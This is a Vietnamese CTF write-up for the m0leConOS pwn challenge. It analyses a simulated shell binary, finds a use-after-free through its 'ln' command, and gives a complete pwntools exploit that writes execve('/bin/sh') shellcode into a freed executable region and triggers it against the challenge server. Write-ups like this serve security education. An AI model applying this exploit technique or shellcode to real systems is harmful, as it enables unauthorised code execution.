# Báo cáo lần 4 ![](https://hackmd.io/_uploads/Hkqi-BISh.png) - Chall này mô phỏng shell trên linux theo cách đơn giản. Nó có các option như ls, reset, touch, cp, rm, help, m0lecat(cat riêng của shell), exit. - Khi mở shell sẽ luôn có sẵn một file `m0lecat`. - Khi chạy vài lần mình nhận ra rằng `touch` ghi name file vào một địa chỉ trên binary và thông tin trong file được lưu trong mmap. ![](https://hackmd.io/_uploads/SyxcrSLS3.png) - Ta sẽ nói qua về các lệnh trên shell. ![](https://hackmd.io/_uploads/SJFdHSIr2.png) - Với `reset`, chúng sẽ nạp dữ liệu từ file `m0lecat` lên đoạn `mmap` được cấp phát tại `addr` rồi xet quyền thực thi cho địa chỉ này. Đây là lý do touch không tương tắc trên file vì trong `m0lecat` chứa `syscall_read`. Sau đó `name_file` và `addr` sẽ được đưa vào index 0 ![](https://hackmd.io/_uploads/SJCqHBUSn.png) - Ở hàm `ls` này chỉ in ra danh sách file. ![](https://hackmd.io/_uploads/Hy3WIBLr3.png) - Hàm touch thì đã nói ở trên ![](https://hackmd.io/_uploads/S11OdHIHn.png) - touch sẽ tạo cấu trúc như này ![](https://hackmd.io/_uploads/Hy12urUSh.png) - `rm` thì xóa đi các file và giải phóng các con trỏ. ![](https://hackmd.io/_uploads/HyFyYSIH2.png) - Hàm `copy` thực hiện copy index mới tuy nhiên giữ liệu sẽ được cấp phát lại rồi copy qua. ![](https://hackmd.io/_uploads/HJzDKHUr2.png) ![](https://hackmd.io/_uploads/H1eiKrUB3.png) - Với hàm `ln` nó chỉ khác copy ở chỗ thay vì cấp phát mới thì nó đưa con trỏ chứ dữ liệu qua id khác, điều này có thể gây ra lỗi `UAF`. ![](https://hackmd.io/_uploads/ryj19BIrh.png) - Hàm `cat` này khá đặc biệt, hàm này thực thi dựa trên đoạn `syscall_write` được nạp và `addr`. Tuy nhiên nếu dữ liệu có format `ptm{` sẽ in ra `Nice try`. - Index 0 sẽ là `m0lecat` và địa chỉ shell. Do không thể `rm` hay `touch` vơi index 0, nên ta không thể tạo mới vùng shell này theo ý muốn. Tuy nhiên ta có thể copy địa chỉ shell này bằng `ln`. - Tiếp theo ta sẽ giải phóng đoạn shell này, một cơ chế cấp phát lại để tiếp kiệm bộ nhớ do đó lần cấp phát tiếp theo bằng `touch` ta sẽ có địa chỉ shell và ghi `shellcode` tùy ý vào. - Sau khi ghi `shellcode` vào thì gọi `cat` để thực hiện shell ```python #!/usr/bin/python3 from pwn import * exe = ELF('m0leConOS_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: r.sendlineafter(msg, data) sa = lambda msg, data: r.sendafter(msg, data) sl = lambda data: r.sendline(data) s = lambda data: r.send(data) def ln(fr, to): sla(b'# ', b'ln') sla(b'from: ', fr) sla(b'to: ', to) def rm(file_name): sla(b'# ', b'rm') sla(b'Filename: ', file_name) def touch(file_name, data): sla(b'# ', b'touch') sla(b'Filename: ', file_name) sa(b'> ', data) def m0lecat(file_name): sla(b'# ', b'm0lecat') sla(b'> ', file_name) sl(b'a') def GDB(): gdb.attach(r, gdbscript=''' b*0x55555555541a b*0x5555555567f5 c ''') if args.REMOTE: r = remote('m0leconos.challs.m0lecon.it', 6745) else: r = process(exe.path) GDB() ln(b'm0lecat', b'chino') rm(b'chino') shellcode = asm(''' xor rdx, rdx xor rsi, rsi mov rax, 0x0068732f6e69622f push rax mov rdi, rsp mov rax, 0x3b syscall ''') touch(b'chino', shellcode) m0lecat(b'flag.txt') r.interactive() ``` ![](https://hackmd.io/_uploads/ByaVaBLHh.png) ![](https://hackmd.io/_uploads/BkbLTHIB3.png) - racecar https://hackmd.io/@lephuc2712/KCSC-CTF-2023#PWN